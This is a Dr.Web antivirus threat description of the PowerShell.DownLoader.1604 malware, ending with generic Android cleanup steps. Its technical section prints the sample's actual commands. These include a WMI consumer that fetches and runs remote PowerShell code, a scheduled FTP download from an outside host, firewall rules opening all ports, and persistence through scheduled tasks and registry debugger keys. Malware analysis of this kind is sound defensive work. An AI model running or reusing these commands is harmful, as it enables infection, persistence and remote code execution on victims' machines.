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PowerShell.DownLoader.1604

Added to the Dr.Web virus database: 2022-07-08

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vid001.exe] 'Debugger' = 'ntsd -d'
  • [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost64.exe] 'Debugger' = 'ntsd -d'
  • [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost32.exe] 'Debugger' = 'ntsd -d'
Creates or modifies the following files
  • <SYSTEM32>\tasks\mysa1
  • <SYSTEM32>\tasks\mysa2
  • <SYSTEM32>\tasks\ok
  • <SYSTEM32>\tasks\oka
  • <SYSTEM32>\tasks\microsoftswindowsy
Malicious functions
Executes the following
  • '<SYSTEM32>\taskkill.exe' /f /im powershell.exe
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
Modifies file system
Modifies the HOSTS file.
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '<SYSTEM32>\rundll32.exe' %WINDIR%\debug\item.dat,ServiceMain aaaa' (with hidden window)
Executes the following
  • '<SYSTEM32>\schtasks.exe' /create /tn "Mysa1" /tr "rundll32.exe %WINDIR%\debug\item.dat,ServiceMain aaaa" /ru "system" /sc minute /mo 3 /f
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='coronav2'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="coronav2" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="coronav2" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="coronav" DELETE
  • '<SYSTEM32>\sc.exe' config xWinWpdSrv start= auto
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckstar4'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckstar3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckann4'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckann4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckann4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckann3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='lsass.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\lsass.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='services.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\services.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\services.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='WUDFHosts.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\WUDFHosts.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\WUDFHosts.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='csrss.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\csrss.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\csrss.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='wininit.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\wininit.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\wininit.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' process where "name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\svchost.exe'" delete
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="killmm4", CommandLineTemplate="cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wm#...
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="killmm3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE T...
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='killmm3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="killmm3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="killmm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="killmm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kuckstar3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kucstar3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kuckstar4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kuckavv3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckamm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckamm4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='kvckavv3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kvckavv3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="kvckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="kvckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckavv3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckavv3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckavv4" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckamm3'" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckamm3" DELETE
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="kuckavv3" DELETE
  • '<SYSTEM32>\schtasks.exe' /run /tn oka
  • '<SYSTEM32>\icacls.exe' %WINDIR%\debug\winu.bat /reset
  • '<SYSTEM32>\icacls.exe' %WINDIR%\debug\item.dat /reset
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "windowsinit" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update3" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update4" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update2" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Update" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Windows_Update" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "at6" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "WindowsUpdate3" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "\Microsoft\Windows\RAC\BackUpEvent" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "OfficeUpdaterA" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "AdobeFlashPlayer" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "WindowsUpdate1" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsu2" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsy" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsz" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsa" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsu1" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindowsu" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftsWindows" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "MicrosoftWindows" /F
  • '<SYSTEM32>\schtasks.exe' /create /tn "oka" /tr "%WINDIR%\inf\aspnet\lsma22.exe" /ru "system" /sc minute /mo 3 /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "ok" /tr "rundll32.exe %WINDIR%\debug\ok.dat,ServiceMain aaaa" /ru "system" /sc minute /mo 4 /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "Mysa2" /tr "cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat %WINDIR%\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system" /sc onstart /F
  • '<SYSTEM32>\schtasks.exe' /create /tn "MicrosoftsWindowsy" /tr "%WINDIR%\temp\conhoy.exe" /ru "system" /sc minute /mo 1 /f
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "updat_windows" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "System Security Check" /F
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "at1" /F
  • '<SYSTEM32>\icacls.exe' %WINDIR%\system\msinfo.exe /reset
  • '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
  • '<SYSTEM32>\icacls.exe' %WINDIR%\temp\conhou.exe /reset
  • '<SYSTEM32>\icacls.exe' %WINDIR%\temp\conhos.exe /reset
  • '<SYSTEM32>\cacls.exe' <SYSTEM32>\wscript.exe /e /d system
  • '<SYSTEM32>\cacls.exe' <SYSTEM32>\cscript.exe /e /d system
  • '<SYSTEM32>\cacls.exe' %WINDIR%\debug\winu.bat /e /t /c /g system:f
  • '<SYSTEM32>\cacls.exe' %WINDIR%\debug\item.dat /e /t /c /g system:f
  • '<SYSTEM32>\cacls.exe' %WINDIR%\system\msinfo.exe /e /t /c /g system:f
  • '<SYSTEM32>\cacls.exe' %WINDIR%\temp\conhos.exe /e /t /c /g system:f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhou.exe" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhos.exe" /f
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="tcpall" dir=out
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "at2" /F
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="deny tcp 139" dir=in
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="deny tcp 445" dir=in
  • '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="tcp all" dir=in
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost32.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uihost64.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vid001.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SHELL" /f
  • '<SYSTEM32>\reg.exe' delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Standard]" /F
  • '<SYSTEM32>\schtasks.exe' /DELETE /TN "\Microsoft\Windows\UPnP\Services" /f
  • '<SYSTEM32>\schtasks.exe' /Delete /TN "Microsoft LocalManager[Windows Server 2008 R2 Enterprise]" /F
  • '<SYSTEM32>\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"killmm3\"", Consumer="CommandLineEventConsumer.Name=\"killmm4\""
  • '<SYSTEM32>\rundll32.exe' %WINDIR%\debug\item.dat,ServiceMain aaaa

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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